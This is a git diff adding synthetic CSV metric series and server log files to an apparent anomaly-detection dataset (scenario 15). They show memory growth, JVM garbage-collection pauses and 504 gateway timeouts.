+2025-07-15T14:01:05Z,9.26,37.45,23.77,1.13,1.49 +2025-07-15T14:01:10Z,9.83,40.77,30.87,2.14,1.85 +2025-07-15T14:01:15Z,13.31,43.71,31.93,0.91,0.97 +2025-07-15T14:01:20Z,11.96,51.23,25.58,1.45,1.46 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+2025-07-15T14:06:25Z,14.1,58.14,26.46,1.08,0.79 +2025-07-15T14:06:30Z,15.28,47.54,32.22,1.28,0.69 +2025-07-15T14:06:35Z,9.04,45.11,33.87,1.44,1.18 +2025-07-15T14:06:40Z,14.34,44.54,25.37,1.59,1.32 +2025-07-15T14:06:45Z,16.07,45.02,29.7,1.94,1.19 +2025-07-15T14:06:50Z,19.43,48.83,13.79,1.76,0.58 +2025-07-15T14:06:55Z,13.45,51.03,24.88,1.45,1.17 +2025-07-15T14:07:00Z,12.57,50.82,28.74,1.49,0.81 +2025-07-15T14:07:05Z,13.49,53.69,23.76,1.2,1.4 +2025-07-15T14:07:10Z,17.75,49.73,38.16,1.49,1.31 +2025-07-15T14:07:15Z,15.99,57.04,22.85,1.41,0.92 +2025-07-15T14:07:20Z,13.41,48.56,27.8,1.6,1.05 +2025-07-15T14:07:25Z,16.54,63.6,30.65,1.25,0.88 diff --git a/anom_dataset/scenario_15/anom_15_11.log b/anom_dataset/scenario_15/anom_15_11.log new file mode 100644 index 0000000000000000000000000000000000000000..80e3d6c3df52b83319c77a44f3f6e98390ee81d1 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_11.log @@ -0,0 +1,35 @@ +Jul 15 14:00:00 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 14:00:35 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:00:55 systemd[1]: Starting daily clean up activities... +Jul 15 14:01:10 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:01:45 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:01:50 systemd[1]: Starting daily clean up activities... +Jul 15 14:02:20 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:02:45 app-server[4567]: GET /api/v1/heavy-operation status=504 Gateway Timeout +Jul 15 14:02:45 systemd[1]: Starting daily clean up activities... +Jul 15 14:02:55 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:03:00 app-server[4567]: GET /api/v1/heavy-operation status=504 Gateway Timeout +Jul 15 14:03:00 jvm[4567]: [GC pause] [Full GC (Ergonomics)] 1805M->865M(2048M), 1.4877 secs +Jul 15 14:03:10 app-server[4567]: GET /api/v1/heavy-operation status=504 Gateway Timeout +Jul 15 14:03:30 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:03:30 app-server[4567]: GET /api/v1/heavy-operation status=504 Gateway Timeout +Jul 15 14:03:30 jvm[4567]: [GC pause] [Full GC (Ergonomics)] 1993M->878M(2048M), 1.3746 secs +Jul 15 14:03:40 systemd[1]: Starting daily clean up activities... +Jul 15 14:04:00 app-server[4567]: GET /api/v1/heavy-operation status=504 Gateway Timeout +Jul 15 14:04:00 jvm[4567]: [GC pause] [Full GC (Ergonomics)] 1819M->912M(2048M), 0.9397 secs +Jul 15 14:04:05 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:04:15 app-server[4567]: GET /api/v1/heavy-operation status=504 Gateway Timeout +Jul 15 14:04:30 app-server[4567]: GET /api/v1/heavy-operation status=504 Gateway Timeout +Jul 15 14:04:30 jvm[4567]: [GC pause] [Full GC (Ergonomics)] 1802M->960M(2048M), 1.0244 secs +Jul 15 14:04:35 systemd[1]: Starting daily clean up activities... +Jul 15 14:04:40 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:05:00 jvm[4567]: [GC pause] [Full GC (Ergonomics)] 1862M->900M(2048M), 0.8615 secs +Jul 15 14:05:15 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:05:30 jvm[4567]: [GC pause] [Full GC (Ergonomics)] 1987M->977M(2048M), 1.3955 secs +Jul 15 14:05:30 systemd[1]: Starting daily clean up activities... +Jul 15 14:05:50 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:06:25 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:06:25 systemd[1]: Starting daily clean up activities... +Jul 15 14:07:00 app-server[4567]: GET /api/v1/health status=200 OK +Jul 15 14:07:20 systemd[1]: Starting daily clean up activities... \ No newline at end of file diff --git a/anom_dataset/scenario_15/anom_15_12.csv b/anom_dataset/scenario_15/anom_15_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..dd1c4a98daaec6537066d0d4489574ec1f52eeef --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-15T10:07:25Z,96.93014827489479,95.0,1.2291855924750246,0.17738254381998586,0.11221735455531841 diff --git a/anom_dataset/scenario_15/anom_15_12.log b/anom_dataset/scenario_15/anom_15_12.log new file mode 100644 index 0000000000000000000000000000000000000000..525a699dcf6ec8100ce033321098f48c5b3e9618 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_12.log @@ -0,0 +1,51 @@ +Jul 15 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:00 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:00:05 java[3456]: [GC pause] [Full GC (Allocation Failure)] 54M->22M, 1.551 secs +Jul 15 10:00:10 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:00:35 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:00:40 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:00:45 java[3456]: [GC pause] [Full GC (Allocation Failure)] 92M->36M, 1.598 secs +Jul 15 10:00:50 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:01:05 systemd[1]: Starting daily clean up activities... +Jul 15 10:01:10 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:01:20 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:01:25 java[3456]: [GC pause] [Full GC (Allocation Failure)] 102M->53M, 1.646 secs +Jul 15 10:01:30 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:01:45 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:02:00 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:02:05 java[3456]: [GC pause] [Full GC (Allocation Failure)] 103M->39M, 1.640 secs +Jul 15 10:02:10 systemd[1]: Starting daily clean up activities... +Jul 15 10:02:10 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:02:20 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:02:40 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:02:45 java[3456]: [GC pause] [Full GC (Allocation Failure)] 104M->38M, 1.508 secs +Jul 15 10:02:50 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:02:55 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:03:15 systemd[1]: Starting daily clean up activities... +Jul 15 10:03:20 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:03:25 java[3456]: [GC pause] [Full GC (Allocation Failure)] 102M->41M, 1.377 secs +Jul 15 10:03:30 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:04:00 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:04:05 java[3456]: [GC pause] [Full GC (Allocation Failure)] 102M->53M, 1.656 secs +Jul 15 10:04:10 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:04:20 systemd[1]: Starting daily clean up activities... +Jul 15 10:04:40 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:04:45 java[3456]: [GC pause] [Full GC (Allocation Failure)] 104M->48M, 1.521 secs +Jul 15 10:04:50 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:05:15 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:05:20 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:05:25 java[3456]: [GC pause] [Full GC (Allocation Failure)] 100M->56M, 1.549 secs +Jul 15 10:05:25 systemd[1]: Starting daily clean up activities... +Jul 15 10:05:30 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:05:50 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:06:00 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:06:05 java[3456]: [GC pause] [Full GC (Allocation Failure)] 100M->45M, 1.315 secs +Jul 15 10:06:10 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:06:25 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:06:30 systemd[1]: Starting daily clean up activities... +Jul 15 10:06:40 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:06:45 java[3456]: [GC pause] [Full GC (Allocation Failure)] 102M->43M, 1.671 secs +Jul 15 10:06:50 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:07:00 web-app[3456]: GET /api/v1/user/health status=200 OK +Jul 15 10:07:20 web-app[3456]: GET /api/v1/data-heavy-endpoint status=504 Gateway Timeout +Jul 15 10:07:25 java[3456]: [GC pause] [Full GC (Allocation Failure)] 102M->40M, 1.773 secs diff --git a/anom_dataset/scenario_15/anom_15_13.csv b/anom_dataset/scenario_15/anom_15_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..7aac71f835e77625c8193ff95bf13eb71e43ff73 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_13.csv @@ -0,0 +1,91 @@ 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+2025-07-15T10:06:35Z,75.44,47.68,0.91,0.13,0.06 +2025-07-15T10:06:40Z,15.1,57.27,15.59,0.98,1.05 +2025-07-15T10:06:45Z,11.16,68.72,15.87,0.78,0.86 +2025-07-15T10:06:50Z,17.92,78.51,16.45,1.02,0.79 +2025-07-15T10:06:55Z,18.16,87.45,17.11,0.92,0.98 +2025-07-15T10:07:00Z,16.63,96.08,14.45,0.98,0.76 +2025-07-15T10:07:05Z,12.09,100.0,13.42,1.02,1.03 +2025-07-15T10:07:10Z,73.17,100.0,1.12,0.14,0.04 +2025-07-15T10:07:15Z,72.1,42.66,1.45,0.08,0.06 +2025-07-15T10:07:20Z,10.6,53.14,12.64,0.73,0.88 +2025-07-15T10:07:25Z,19.87,62.21,15.77,1.15,0.98 diff --git a/anom_dataset/scenario_15/anom_15_13.log b/anom_dataset/scenario_15/anom_15_13.log new file mode 100644 index 0000000000000000000000000000000000000000..70526b5537354c279279ebc8afeb2c2304938759 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_13.log @@ -0,0 +1,64 @@ +Jul 15 10:00:00 web-app[3456]: GET /api/v1/user/13 status=200 OK +Jul 15 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 15 10:00:20 web-app[3456]: GET /api/v1/user/42 status=200 OK +Jul 15 10:00:30 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:00:30 jvm[3456]: INFO Full GC paused application for 2720ms +Jul 15 10:00:35 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:00:40 web-app[3456]: GET /api/v1/user/49 status=200 OK +Jul 15 10:01:00 web-app[3456]: GET /api/v1/user/46 status=200 OK +Jul 15 10:01:10 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:01:10 jvm[3456]: INFO Full GC paused application for 2892ms +Jul 15 10:01:15 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:01:20 web-app[3456]: GET /api/v1/user/35 status=200 OK +Jul 15 10:01:40 web-app[3456]: GET /api/v1/user/13 status=200 OK +Jul 15 10:01:50 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:01:50 jvm[3456]: INFO Full GC paused application for 2869ms +Jul 15 10:01:55 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:02:00 web-app[3456]: GET /api/v1/user/16 status=200 OK +Jul 15 10:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 15 10:02:20 web-app[3456]: GET /api/v1/user/24 status=200 OK +Jul 15 10:02:30 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:02:30 jvm[3456]: INFO Full GC paused application for 1793ms +Jul 15 10:02:35 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:02:40 web-app[3456]: GET /api/v1/user/36 status=200 OK +Jul 15 10:03:00 web-app[3456]: GET /api/v1/user/23 status=200 OK +Jul 15 10:03:10 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:03:10 jvm[3456]: INFO Full GC paused application for 2649ms +Jul 15 10:03:15 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:03:20 web-app[3456]: GET /api/v1/user/21 status=200 OK +Jul 15 10:03:40 web-app[3456]: GET /api/v1/user/36 status=200 OK +Jul 15 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 15 10:03:50 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:03:50 jvm[3456]: INFO Full GC paused application for 2956ms +Jul 15 10:03:55 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:04:00 web-app[3456]: GET /api/v1/user/24 status=200 OK +Jul 15 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 15 10:04:20 web-app[3456]: GET /api/v1/user/38 status=200 OK +Jul 15 10:04:30 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:04:30 jvm[3456]: INFO Full GC paused application for 2561ms +Jul 15 10:04:35 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:04:40 web-app[3456]: GET /api/v1/user/45 status=200 OK +Jul 15 10:05:00 web-app[3456]: GET /api/v1/user/32 status=200 OK +Jul 15 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:05:10 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:05:10 jvm[3456]: INFO Full GC paused application for 2641ms +Jul 15 10:05:15 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:05:20 web-app[3456]: GET /api/v1/user/19 status=200 OK +Jul 15 10:05:40 web-app[3456]: GET /api/v1/user/10 status=200 OK +Jul 15 10:05:50 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:05:50 jvm[3456]: INFO Full GC paused application for 1819ms +Jul 15 10:05:55 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:06:00 web-app[3456]: GET /api/v1/user/46 status=200 OK +Jul 15 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 15 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 15 10:06:20 web-app[3456]: GET /api/v1/user/16 status=200 OK +Jul 15 10:06:30 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:06:30 jvm[3456]: INFO Full GC paused application for 1706ms +Jul 15 10:06:35 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:06:40 web-app[3456]: GET /api/v1/user/40 status=200 OK +Jul 15 10:07:00 web-app[3456]: GET /api/v1/user/19 status=200 OK +Jul 15 10:07:10 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:07:10 jvm[3456]: INFO Full GC paused application for 2226ms +Jul 15 10:07:15 web-app[3456]: GET /api/v1/heavy-computation status=504 Gateway Timeout +Jul 15 10:07:20 web-app[3456]: GET /api/v1/user/22 status=200 OK diff --git a/anom_dataset/scenario_15/anom_15_14.csv b/anom_dataset/scenario_15/anom_15_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..dd98c205d32eb522e5eaff8383cbf5084d87fd8c --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_14.csv @@ -0,0 +1,91 @@ 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+2025-07-15T10:06:35Z,95.58,32.27,0.65,0.43,0.47 +2025-07-15T10:06:40Z,19.53,41.44,33.01,1.75,1.64 +2025-07-15T10:06:45Z,8.67,38.41,32.65,1.7,1.29 +2025-07-15T10:06:50Z,13.53,42.6,31.89,0.99,1.81 +2025-07-15T10:06:55Z,15.83,39.13,32.43,1.42,1.54 +2025-07-15T10:07:00Z,13.4,36.66,24.7,1.56,1.82 +2025-07-15T10:07:05Z,18.55,41.79,23.87,1.99,1.01 +2025-07-15T10:07:10Z,13.96,38.6,39.87,1.95,1.37 +2025-07-15T10:07:15Z,6.65,42.62,27.54,1.51,2.06 +2025-07-15T10:07:20Z,27.65,39.45,29.53,1.47,1.65 +2025-07-15T10:07:25Z,13.23,39.31,22.2,1.14,1.15 diff --git a/anom_dataset/scenario_15/anom_15_14.log b/anom_dataset/scenario_15/anom_15_14.log new file mode 100644 index 0000000000000000000000000000000000000000..5bb7869ed4f1a68c520a58b6c37048e19782453f --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_14.log @@ -0,0 +1,38 @@ +Jul 15 10:00:00 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:35 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:01:10 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:01:40 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 15 10:02:05 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 2.937 secs] +Jul 15 10:02:05 web-app[1456]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:02:30 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:02:35 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 3.315 secs] +Jul 15 10:02:35 web-app[1456]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:02:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 15 10:02:55 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:03:05 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 2.081 secs] +Jul 15 10:03:05 web-app[1456]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 15 10:03:35 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 2.860 secs] +Jul 15 10:03:45 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 15 10:04:05 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 3.355 secs] +Jul 15 10:04:05 web-app[1456]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:04:10 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:04:35 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 2.268 secs] +Jul 15 10:04:35 web-app[1456]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 15 10:05:00 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:05:05 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 3.413 secs] +Jul 15 10:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 15 10:05:25 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:05:35 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 2.227 secs] +Jul 15 10:05:35 web-app[1456]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:05:50 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 15 10:06:05 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 2.515 secs] +Jul 15 10:06:15 web-app[1456]: GET /api/v1/user/34 status=200 OK +Jul 15 10:06:35 gc[1456]: INFO [Full GC (Allocation Failure) ... 15873M->3145M(16384M), 2.081 secs] +Jul 15 10:06:35 web-app[1456]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:07:00 web-app[1456]: GET /api/v1/user/34 status=200 OK \ No newline at end of file diff --git a/anom_dataset/scenario_15/anom_15_15.csv b/anom_dataset/scenario_15/anom_15_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..2e815f246405696de2bb2d4a22daab253b217653 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,15.51,43.43,37.99,1.12,0.94 +2025-07-15T10:00:05Z,17.21,46.41,25.14,1.15,1.26 +2025-07-15T10:00:10Z,15.45,49.06,29.43,1.43,0.92 +2025-07-15T10:00:15Z,16.92,51.79,21.16,1.24,1.22 +2025-07-15T10:00:20Z,24.99,55.73,31.49,1.32,0.99 +2025-07-15T10:00:25Z,22.92,59.13,34.81,1.12,1.04 +2025-07-15T10:00:30Z,22.19,63.03,29.98,1.48,1.08 +2025-07-15T10:00:35Z,23.45,65.64,30.64,1.19,1.26 +2025-07-15T10:00:40Z,16.7,68.95,30.61,1.3,0.96 +2025-07-15T10:00:45Z,23.27,72.55,36.49,1.24,0.95 +2025-07-15T10:00:50Z,19.39,75.99,30.6,1.17,0.95 +2025-07-15T10:00:55Z,19.91,79.4,28.74,1.5,1.11 +2025-07-15T10:01:00Z,93.56,71.8,0.2,0.29,0.48 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+2025-07-15T10:04:25Z,17.29,63.08,37.32,1.1,0.92 +2025-07-15T10:04:30Z,20.93,66.3,30.02,1.31,1.01 +2025-07-15T10:04:35Z,22.61,69.71,28.77,1.47,0.85 +2025-07-15T10:04:40Z,24.66,73.14,24.5,1.45,0.83 +2025-07-15T10:04:45Z,89.43,67.84,0.42,0.18,0.29 +2025-07-15T10:04:50Z,86.46,63.23,0.31,0.45,0.38 +2025-07-15T10:04:55Z,96.52,39.12,0.4,0.42,0.13 +2025-07-15T10:05:00Z,22.52,42.89,37.59,1.45,1.23 +2025-07-15T10:05:05Z,18.26,46.52,33.59,1.27,1.22 +2025-07-15T10:05:10Z,23.98,49.87,33.51,1.01,0.83 +2025-07-15T10:05:15Z,19.32,52.73,36.68,1.1,1.05 +2025-07-15T10:05:20Z,19.71,55.59,34.29,1.01,1.2 +2025-07-15T10:05:25Z,16.9,58.29,37.13,1.33,1.16 +2025-07-15T10:05:30Z,19.16,61.84,38.63,1.25,0.85 +2025-07-15T10:05:35Z,19.13,64.75,23.43,1.29,1.0 +2025-07-15T10:05:40Z,20.48,68.44,35.07,1.19,1.2 +2025-07-15T10:05:45Z,18.14,72.33,38.37,1.04,1.01 +2025-07-15T10:05:50Z,17.42,75.49,32.83,1.4,0.89 +2025-07-15T10:05:55Z,22.2,78.37,21.37,1.41,1.01 +2025-07-15T10:06:00Z,92.79,71.62,0.33,0.36,0.49 +2025-07-15T10:06:05Z,88.35,68.83,0.33,0.39,0.38 +2025-07-15T10:06:10Z,92.63,36.61,0.14,0.34,0.13 +2025-07-15T10:06:15Z,18.21,40.47,29.29,1.27,0.96 +2025-07-15T10:06:20Z,24.81,43.17,34.12,1.23,0.84 +2025-07-15T10:06:25Z,22.41,45.93,38.46,1.41,0.83 +2025-07-15T10:06:30Z,22.24,48.46,28.66,1.31,1.08 +2025-07-15T10:06:35Z,16.7,51.02,30.77,1.24,1.24 +2025-07-15T10:06:40Z,16.83,54.25,33.35,1.08,0.8 +2025-07-15T10:06:45Z,19.7,58.08,29.03,1.05,0.81 +2025-07-15T10:06:50Z,23.09,61.71,35.16,1.15,0.86 +2025-07-15T10:06:55Z,23.91,65.19,28.62,1.03,1.01 +2025-07-15T10:07:00Z,23.98,68.3,38.47,1.18,0.84 +2025-07-15T10:07:05Z,23.14,72.05,33.89,1.28,1.09 +2025-07-15T10:07:10Z,19.0,75.75,22.77,1.15,1.08 +2025-07-15T10:07:15Z,96.3,65.9,0.22,0.36,0.47 +2025-07-15T10:07:20Z,87.09,66.72,0.15,0.22,0.42 +2025-07-15T10:07:25Z,91.19,39.23,0.2,0.26,0.43 diff --git a/anom_dataset/scenario_15/anom_15_15.log b/anom_dataset/scenario_15/anom_15_15.log new file mode 100644 index 0000000000000000000000000000000000000000..fc382543425fbe3f7ff9cb673b40f9c845e91322 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_15.log @@ -0,0 +1,31 @@ +Jul 15 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:06 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:00:15 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:00:20 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:00:42 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:00:45 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:01:04 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:01:11 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:01:26 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:01:46 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:01:54 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:02:09 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:02:14 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:02:32 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:02:57 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:03:27 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:03:32 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:03:35 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:03:45 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:03:51 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:03:59 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:04:03 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:04:20 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:04:25 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:04:50 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:04:54 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:04:59 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:07:09 api-server[3321]: GET /api/v1/health status=200 OK +Jul 15 10:07:14 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:07:22 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout +Jul 15 10:07:27 api-server[3321]: POST /api/v1/data status=504 Gateway Timeout diff --git a/anom_dataset/scenario_15/anom_15_16.csv b/anom_dataset/scenario_15/anom_15_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..0372a07e942e46918aa0a736f0b2f24d41999478 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.063014555369367,38.87374013401563,17.72620694267858,0.7723005456125891,0.7542532008895325 +2025-07-02T12:00:05Z,16.017854118138555,37.63016338669492,33.80673656742938,1.7186619933443004,1.0762007987873627 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b/anom_dataset/scenario_15/anom_15_16.log new file mode 100644 index 0000000000000000000000000000000000000000..77e7de0a23e39e90f3d169bffd6a3cc40b1299eb --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_16.log @@ -0,0 +1,35 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:00:55 gc-logger[3456]: INFO JVM-GC-PAUSE-TIME duration=1850ms +Jul 02 12:01:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:01:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:35 app-server[3456]: ERROR GET /api/v1/process status=504 Gateway Timeout +Jul 02 12:01:45 app-server[3456]: INFO GET /api/v1/user/45 status=200 OK +Jul 02 12:01:50 gc-logger[3456]: INFO JVM-GC-PAUSE-TIME duration=1850ms +Jul 02 12:02:00 app-server[3456]: ERROR GET /api/v1/process status=504 Gateway Timeout +Jul 02 12:02:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:20 app-server[3456]: INFO GET 